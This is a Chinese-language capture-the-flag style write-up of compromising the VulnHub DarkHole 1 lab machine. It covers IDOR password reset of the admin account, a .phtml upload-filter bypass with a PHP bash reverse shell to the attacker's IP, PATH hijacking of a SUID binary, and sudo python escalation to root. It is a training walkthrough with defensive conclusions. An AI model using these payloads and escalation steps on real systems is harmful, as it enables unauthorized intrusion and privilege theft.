vulnhub-DarkHole 1靶机的测试报告
目录
一、测试环境
1、系统环境
2、使用工具/软件
二、测试目的
三、操作过程
1、信息搜集
2、Getshell
3、提权
四、结论
一、测试环境
1、系统环境
渗透机:kali2021.1(192.168.202.134)
靶 机:Ubuntu 20.04.2 LTS
2、使用工具/软件
Kali:arp-scan(主机探测)、nmap(端口服务探测)、gobuster(扫描目录)、burp suite(修改请求包,越权漏洞;爆破用户名参数)、nc(反弹shell连接)
测试网址:http://192.168.202.149
二、测试目的
渗透目标靶机,通过web网页的越权漏洞修改管理员密码,得到管理员账号;通过管理员页面的文件上传功能,绕过过滤;上传php反弹shell,监听到www-data用户的shell;通过环境变量提权到john用户,拿到john的家目录的信息和第一个flag: user.txt ;通过一个python文件的可sudo权限提权到root用户,拿到第二个flag:root.txt 。
三、操作过程
1、信息搜集
arp探测主机
arp-scan -l
探测到靶机IP:192.168.202.149
Nmap扫描靶机端口和服务
nmap -A -sS -p- -T4 192.168.202.149
开启了ssh服务(22端口)和web服务(80端口)
gobuster扫描web目录
gobuster dir -u http://192.168.202.149 -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -x php,txt,html,jsp
扫描到登录页login.php 注册页register.php 文件上传目录upload 等页面
查看网页信息
主页只有一个login可点击,upload目录只有一张图片,没找到文件上传点
先从登录注册页入手
没有账号,先注册一个
User:ccc
password:123456
登录进去看看,页面很简洁,只有账户信息和更改密码的选项
页面url: http://192.168.202.149/dashboard.php?id=2
发现有id号,且是2 ,那前面应是还有1 ,尝试更改密码抓包,看看有没有越权漏洞(对于id号的利用可以进行爆破看看哪个id可用,这里的id很明显有1)
修改post的参数id为1,放包
页面显示密码成功更改了
既然密码知道了,就尝试登录,尝试对用户名爆破
爆破发现用户名就是管理员默认用户
admin/123456
现在可以登录管理员用户了,登录查看,发现多了文件上传点,这是渗透点
2、Getshell
尝试文件上传,提示只允许图片类型(实际上只是过滤了php和html两个后缀名)
尝试绕过,绕过方法很多可以绕过,大小写、php5后缀名 、空格绕过 都可行。但是发现php页面不解析…区分大小写,只认识小写php后缀名,实在找不到解析方法
寻找能写php的文件类型,有个phtml文件类型,可解析html和php的混合代码(这个文件依然是要在中间件配置文件中写入可解析的代码才生效,显然这是作者有意留下的)
尝试上传反弹shell
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.202.134/666 0>&1'"); ?>
成功上传执行并反弹shell到kali上 ,getshell
3、提权
寻找常规提权点
crontab -l
sudo -l
uname -a
searchsploit linux 5.4
没有什么收获
找suid文件
find / -perm -u=s -type f 2>/dev/null
找到john用户下面有个toto文件是suid文件,尝试用它来提权
查看这个文件的信息
ls -l /home/john/toto
是可执行的文件
执行文件看看
/home/john/toto
发现执行了id命令,接下来尝试对id命令进行环境变量劫持,提权到john用户
在tmp目录创建id文件,赋予执行权限,给tmp文件夹环境变量
Tmp文件夹是临时文件存放的目录,而且所有用户有很大的权限
echo "/bin/bash" > /tmp/id
chmod +x /tmp/id
export PATH="/tmp:$PATH"
export PATH="/tmp:$PATH" 作用是将tmp目录放在环境变量最前面
这样的话运行toto文件执行id命令,就会首先执行/tmp/id文件,获取john的shell
系统会按照$PATH环境变量中定义的顺序,从左到右搜索id 如果$PATH = /tmp:/usr/local/bin:/usr/local/sbin 则会优先搜索 /tmp目录是否存在id
成功获取john用户的shell
先获取一个交互式shell
SHELL=/bin/bash script -q /dev/null
SHELL必须大写
到john家目录看看
有四个文件
password存放john用户的密码
user.txt是第一个flag:DarkHole{You_Can_DO_It}
File.py是个空文件
toto是用来提权的文件
寻找提权点,发现file.py文件可以sudo执行,那么
sudo /usr/bin/python3 /home/john/file.py
执行/bin/bash即可获取root权限
给file.py文件写入获取shell的命令
echo "import pty;pty.spawn('/bin/bash');" > file.py
执行提权命令
sudo /usr/bin/python3 /home/john/file.py
成功提权!
在root目录可以找到第二个flag:DarkHole{You_Are_Legend}
四、结论
phtml文件也可以解析php语言,对于Linux文件的权限管理一定要谨慎,suid权限使用不恰当很容易就导致可提权漏洞,对新建的suid文件不能调用系统命令,确保最小权限原则。
密码不能明文保存在文件中,对于普通用户可sudo的文件,不能允许用户有写入权限。否则会导致提权漏洞。